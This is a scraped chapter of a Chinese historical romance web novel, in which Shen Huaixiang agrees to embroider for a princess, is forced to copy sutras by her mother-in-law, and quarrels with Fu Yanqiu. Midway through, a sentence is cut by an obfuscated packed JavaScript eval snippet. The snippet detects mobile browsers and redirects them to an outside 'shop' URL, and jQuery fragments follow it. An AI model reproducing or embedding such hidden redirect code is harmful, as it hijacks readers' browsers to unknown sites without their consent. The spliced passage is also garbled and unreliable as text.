默认冷灰
24号文字
方正启体

19. 第 19 章

作者:柳湘本书字数:K更新时间:
    “什么?”沈怀香猛然站起来,“公主要我去给她做衣裳的绣样?”


    公主身边的管事姑姑也没因为沈怀香的失礼而表现出什么,只是笑道:“公主一眼就看中了少夫人您的贺礼,特地问过了老太太,现下只需您的同意便可。”


    这可是个好机会,沈怀香想着,若是能够得到公主青眼,那日后就算是离开了傅砚秋,自己也会有另外的机会,不愁在这京都无人庇护。


    “自然愿意,能为公主效劳是我的福分。”


    管事姑姑微微行礼:“那就谢过二少夫人,我先去给公主回了话。”


    “是是是,姑姑慢走。”沈怀香在她临走时,又给她散了些碎银子。


    这管事的喜笑颜开,自然知晓要为沈怀香美言几句。


    待公主身边的婢女支开,沈母微微侧身,脸上满是担忧:“怀香,你一定要做吗?”


    伺候天家人自然是机遇,可若是行差就错那也是要吃不了兜着走的,即使是天家富贵,她宁愿沈怀香只是简单过完一生。


    沈怀香却不这样想,她和傅砚秋之间的事情,姑且算作傅砚秋一时心血来潮,可来日他意图打算娶妻生子,自己就会像是无处可依的浮萍,任由风吹雨打。


    可若是她能够借这个机会搭上公主,那就不一样了。


    就算是日后傅砚秋翻脸,她依旧可以过活。


    “母亲,这与我而言是个机会。”


    沈母咳嗽两声,脸上绷紧,瞧着不大舒服:“你......你主意正,母亲知晓,可你定要小心谨慎,切莫冲撞了贵人,若是做不好一定要低头认错然后回来,知道吗?”


    沈怀香心里酸涩,像是被人掐住了心脏。


    “母亲,你放心吧,若是女儿没有十足的成算,自然不会去揽那瓷器活。”


    沈母点点头。


    时间过得飞快,转眼就到了金乌追云时刻。


    沈怀香拉着母亲的手,迟迟不愿松开,母女二人均是以泪洗面。


    这一生可否还有再见的时候?没有人知晓。


    沈怀香哭着不叫母亲走,沈母也悲切伤心。


    直到——


    常春来了。


    “二少夫人,这是咱们的府医,今日宴席之上,老太太和五爷听闻沈夫人的咳疾未痊愈,所以临走之时叫了他来为夫人搭脉。”


    沈怀香转头拭泪,“多谢五爷挂怀,多谢老太太,烦请大夫为母亲搭脉看看吧。”


    这大夫从木箱拿出一个棉布的搭脉枕,隔着面纱给沈母号脉,神色微蹙。


    沈怀香有些焦急:“大夫,我母亲的身体还好吧?”


    片刻之后,大夫移开手,说:“贵夫人的脉象有些虚浮,大抵产时落下了虚亏,身子有些薄弱,进了风,所以咳,开些药按时兼着吃,应当会好些,待身子好些再根治。”


    那就是不太严重,沈怀香喜极而泣。


    那就好。


    到底,沈母开完药还是坐上了回程的马车,连带着一双弟妹。


    沈怀香目送他们离去,泪珠子啪嗒啪嗒摔在地上变成水花。


    旁边的大少夫人瞧见了,安慰她:“怀香,相见终有时,不必如此挂怀。”


    “多谢大嫂。”沈怀香知晓她是好意,所以也心怀感激。


    可自己和她们不一样,处处受制,下一次的见面是什么时候,其实她和母亲心里都没有底气。


    但沈怀香坚信,若是自己能够在公主面前留下印象,自然以后万事不愁。


    可还没等到进宫,沈怀香倒是等来了婆母的诘问。


    “听说老太太寿诞,你送了一幅《百鸟朝凤图》,你的时间还真是大把大把的。”婆母坐在软榻边上,修长的手指染着豆蔻,瞧着好看极了。


    沈怀香也只敢偷看几眼,随后立马低头认错:“母亲,这绣图是我在闲暇时刻所作,并未耽误为二爷抄经诵经。”


    凤眸眯着望向她:“这等俗物沾染到我儿的经文上,他如何还得四根清净,嗯?”


    沈怀香无话可说,跪在地上等待婆母降罚。


    “给个杆子就顺着爬,真不愧是沈家人。”婆母冷笑一声,“听说不日你就要进宫去给公主做绣样,那在这之前我要看到三卷经文,就当是你给我儿的赔罪了。”


    沈怀香道是。


    “行了出去吧,你在这儿杵着,我看着也心烦。”


    沈怀香再次答应着,随后行礼出去。


    她还没走出多远,就听到婆母对她的抱怨:“家门不幸啊,这样的媳妇娶进门,真不知道是不是故意给我赌气的。”


    沈怀香脚步顿了顿,而后更加坚定往外走去。


    很快老太太那边给她回了信,说是三日之后进宫去为公主做事,也就是说还有三日的时间抄经。


    沈怀香没日没夜的抄写,几度昏厥,旁边的婢女十分着急,可沈怀香硬是不让她们代笔。


    “二少夫人,三天时间抄写这样多,您的身体会吃不消的。”


    沈怀香一再咬牙坚持,“无碍,若是你们替我抄写被婆母看出来,到时候我们百口莫辩,老太太也会对我们失望的,在这府里,我再不能做错一件事了。”


    翡翠看在眼里急在心里,她知晓还有一人能够说动沈怀香。


    于是,她给冬雪说了一声,直奔着青竹堂就去了。


    那边常春还在扫院子,瞧见翡翠一脸慌张进来,他立马扔下扫帚。


    “怎么了,是二少夫人出什么事了吗?”


    翡翠把事情简单说了一遍,常春更是大惊失色,若是二少夫人出了点事情,他们都得遭殃。


    马不停蹄,常春带着翡翠到了傅砚秋的书房。


    二人来的急匆匆,屋内的烛火也跟着晃动,让人心里越发焦灼。


    “何事?”傅砚秋放下手里的朱砂笔。


    翡翠跪下道:“前些日子老太太寿诞上二少夫人送出的画被夫人知晓了,她觉得少夫人侍奉二爷心意不诚,所以要她在进宫之前抄三卷佛经。”


    “可是内容太多了,少夫人不分昼夜一直在写,饭吃的也少了,这样下去恐怕不行的,奴婢们的话少夫人听不进去。”


    “所以,只能来求五爷您了。”


    傅砚秋眉头拧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514153|203096||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作一团,他倒是小瞧了这位嫂嫂和亡兄的羁绊,不过是一年名分夫妻而已,竟也这般情深?


    他的手搭在桌上的宣纸上,无意识之间,宣纸已然不再平摊,满是褶皱。


    “我知道了,你先下去吧。”


    翡翠点头离去,常春看着傅砚秋脸色不好,问道:“五爷,要不您也休息吧,瞧着有些疲态了。”


    傅砚秋冷笑一声:“我这才哪儿到哪儿,人家夫妻伉俪情深,我不过是为国事操劳几日,哪里比得上人家。”


    常春:!


    他连忙捂住耳朵,“五爷,我可什么都没听见啊。”


    傅砚秋团起宣纸扔到他面门,“滚”。


    “好嘞爷!”


    傅砚秋本想着沈怀香既然这么能熬,那就任由她作去。


    可是说到底若是沈怀香受了伤,自己的心绪也难平。


    只一盏茶的功夫,书房内已然没了踪影。


    到了四方院子,隔着一个小窗,他瞧见了小佛堂里面的景象。


    佛堂内供奉着傅砚南的排位,沈怀香端坐在蒲团上在抄写佛经,衣袖拢在上面,露出纤细的腕子,洁白如纱。


    烛火映照着少女的脸庞,恬静美好,好似傅砚南在陪着沈怀香练字书写一般,即使人已经不在了,这景象依旧刺痛了傅砚秋的双眼。


    “对他你还真是上心。”傅砚秋嗤笑一声。


    沈怀香停笔,看向声音来源。


    “五爷。”


    “怎么,你就这么希望他快点去往生,来日投胎好做人?”傅砚秋的声音大了些,面容皆是愠色。


    沈怀香不知他为何发这么大火,只是解释道:“只是婆母叫我写我便写而已。”


    “那你就拿自己的命作灯油么?油尽灯枯,你也随他去了,生同衾、死同穴是吗?”他抓住沈怀香的双臂质问。


    沈怀香吃痛,忍不住要挣脱:“我和二爷是正头夫妻,我为他烧香拜佛、诵经祈福都是应该做的!”


    面前的人似乎一下停住了,傅砚秋只觉得额角突突跳。


    “呵,正头夫妻?你若是真的愿意为他守身如玉,怎么又爬到我的床上献身?”


    “还是说沈怀香你,既想要寡妇的贞节牌坊还想要我的庇护?”


    沈怀香被他的话狠狠刺痛,如若不是自己走投无路,谁愿意去用自己做筹码?


    “傅砚秋!”沈怀香自己也不知道哪里来了勇气,竟敢直呼他的名讳。


    “他一个死人给不了你要的东西,沈怀香你记住了,如若是你还想跟他做旁人眼里的恩爱夫妻、苦命鸳鸯,那就从此之后离我远一些,如若不然,就趁早断了对他的念想。”


    “我傅砚秋还没有卑劣到要去玷污旁人的妻子......特别还是亡兄的孀妻!”说完这话,傅砚秋又大马金刀地离去。


    沈怀香跌坐在地上,不知如何是好。


    她对傅砚南没有夫妻之间的情谊,不过是来往间多了些情分,他对她很好,所以她宁愿为他抄经诵佛。


    可是二爷死的早,她在府里处处艰难,几乎都是傅砚秋为她摆平了一切。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)